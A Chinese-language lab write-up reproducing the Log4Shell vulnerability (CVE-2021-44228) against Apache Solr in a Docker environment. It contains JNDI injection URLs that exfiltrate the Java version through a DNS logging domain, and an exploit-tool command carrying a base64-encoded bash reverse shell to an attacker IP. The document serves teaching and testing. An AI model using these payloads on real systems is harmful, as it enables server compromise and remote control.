Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

目录

一、前言

[什么是Apache Log4j 2?](#什么是Apache Log4j 2?)

什么是JNDI?

[Apache Log4j2 lookup JNDI 注入漏洞原理](#Apache Log4j2 lookup JNDI 注入漏洞原理)

二、漏洞复现

影响版本

启动环境

核心概念澄清

漏洞探测

反弹shell


一、前言

什么是Apache Log4j 2?

Apache Log4j 2 是一个广泛使用的 Java 日志记录框架 ,它是 Log4j 1.x 的完全重写版本,提供了显著的性能改进和现代功能,它可以通过查找**(lookups)** 功能从日志配置或日志消息中动态的获取一些信息,如**{java:version}** 可以返回Java 版本,**{sys:user.name}**可以返回系统用户名。

什么是JNDI?

JNDI是Java提供的标准API,它允许程序通过逻辑名称来查找和访问各种资源,如数据库连接、消息队列或远程服务

Apache Log4j2 lookup JNDI 注入漏洞原理

漏洞根源在于Log4j2 的 lookup 机制:其在处理日志时,会主动解析其中的 ${} 表达式 以动态嵌入上下文信息。由于该功能支持 JNDI 并兼容多种协议(如LDAP、RMI、DNS ),攻击者便可构造特殊的日志请求(例如,将**${jndi:ldap://恶意地址}** 作为参数提交)。应用在记录该请求时即触发JNDI 查询,从而连接攻击者控制的服务器下载并执行恶意载荷,造成严重的远程代码执行后果。

二、漏洞复现

影响版本

Apache Log4j 2.x 版本:从 2.0-beta9 到 2.14.1(包含)

靶机:192.168.112.153

攻击机:192.168.112.150

启动环境

复制代码
sudo docker-compose up -d

核心概念澄清

  1. Log4j2 是一个日志框架/库 :它不是像 Apache 或 Nginx 那样直接提供服务的独立软件。它是一个被嵌入 到其他 Java 应用程序中的日志记录工具。

  2. 漏洞触发条件 :要触发 Log4j 漏洞,需要一个使用了有漏洞版本 Log4j2 框架/库的 Java 应用程序。攻击者需要能找到一种方式,让这个应用程序记录他们精心构造的恶意字符串。

  3. Apache Solr 作为目标:Apache Solr 是一个流行的、用 Java 编写的企业级搜索平台。接下来启动的 Solr 8.11.0 版本恰好使用了存在漏洞的 Log4j2 (2.14.1),因此它成为了一个完美的攻击目标。

访问192.168.112.153:8983,我看看到了Apache Solr的后台页面。

漏洞探测

[http://192.168.112.153:8983/solr/admin/cores?action=${jndi:ldap://dnslog.cn}](http://192.168.112.153:8983/solr/admin/cores?action=${jndi:ldap://dnslog.cn} "http://192.168.112.153:8983/solr/admin/cores?action=${jndi:ldap://dnslog.cn}")这个路径是Apache Solr中**已知存在Log4Shell漏洞的特定路径,其中/solr/admin/cores 是Solr的核心管理接口,**这个接口会记录用户操作日志,并且使用Log4j作为日志记录组件。

类似于的漏洞路径还有

http://192.168.112.153:8983/solr/admin/collections?action=${jndi:ldap://dnslog.cn}
http://192.168.112.153:8983/solr/admin/info/system?verb=${jndi:ldap://dnslog.cn}
http://192.168.112.153:8983/solr/admin/cores?wt=${jndi:ldap://dnslog.cn}

其中dnslog.cn是我们dnslog平台的临时域名。

这里,我使用这个域名。

我们访问url/solr/admin/cores?action={jndi:ldap://{sys:java.version}.ulhpr4.dnslog.cn}

接着回到我们的dnslog平台,发现这里多了条记录,那么就可以证明存在漏洞!并且java的版本通过dnslog带了回来,为1.8.0_102。

由于JNDI支持多种协议,所以其实ldap可以换成rmi或dns。

如url/solr/admin/cores?action={jndi:rmi://{sys:java.version}.ulhpr4.dnslog.cn}

url/solr/admin/cores?action={jndi:dns://{sys:java.version}.ulhpr4.dnslog.cn}

反弹shell

首先在攻击机192.168.112.150上监听4444端口

然后打开第二终端,发送以下payload

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.112.150

其中-A 192.168.112.150(这个IP为攻击机IP)

这个操作是在这个攻击机地址上启动恶意的JNDI服务,以便后面触发漏洞。

反弹shell语句在这里编码

执行这个命令后如下,选择其中一个true作为payload

这里选择ldap://192.168.112.150:1389/xzl1qm这个地址。

然后我们在靶机网址输入action=${jndi:ldap://192.168.112.150:1389/xzl1qm},随后访问。

然后结果如下,成功反弹shell!

总结:利用靶机存在的JNDI Lookup功能,通过构造恶意日志输入 ${jndi:ldap://192.168.112.150:1389/xzl1qm} 触发Log4j漏洞,诱导靶机连接攻击者搭建的恶意LDAP服务,最终执行反弹shell命令获取远程控制权限。

相关推荐
豆角焖肉19 小时前
Apache POI 实现 Excel 上传解析、导出
apache·poi·multipartfile·excel 导入导出·批量导入
nvd111 天前
深入剖析:GCP Pub/Sub 与 Apache Kafka 对消息处理延迟与消费者卡死的处理机制异同
分布式·kafka·apache
白帽攻防录2 天前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
草莓熊Lotso2 天前
【C++ 基于微服务的即时通讯系统】基建三件套:gflags + gtest + spdlog 源码编译安装与实战入门
linux·网络·数据库·c++·微服务·log4j
Knight_AL2 天前
从 EasyExcel 到 Apache Fesod:Java Excel 处理生态的一次重构
java·apache·excel
j7~3 天前
【C++ 标准项目】发布订阅消息队列 (篇七):项目创建与基础工具模块搭建
开发语言·c++·log4j·uuid·protobuf·helper工具·消息定义类型和交换机类型定义
心易行者3 天前
Agent应用+API端点商业化进阶实战:从单体智能体到可付费调用的API全流程
运维·服务器·人工智能·python·apache
楚楚2514 天前
2026最新6款Cursor平替AI编程工具深度实测对比
log4j
回眸&啤酒鸭4 天前
【回眸】自动化白盒测试落地实战指南
运维·自动化·log4j
我就是不信6 天前
CuTest:轻量级 C 语言单元测试框架实战指南
c语言·单元测试·log4j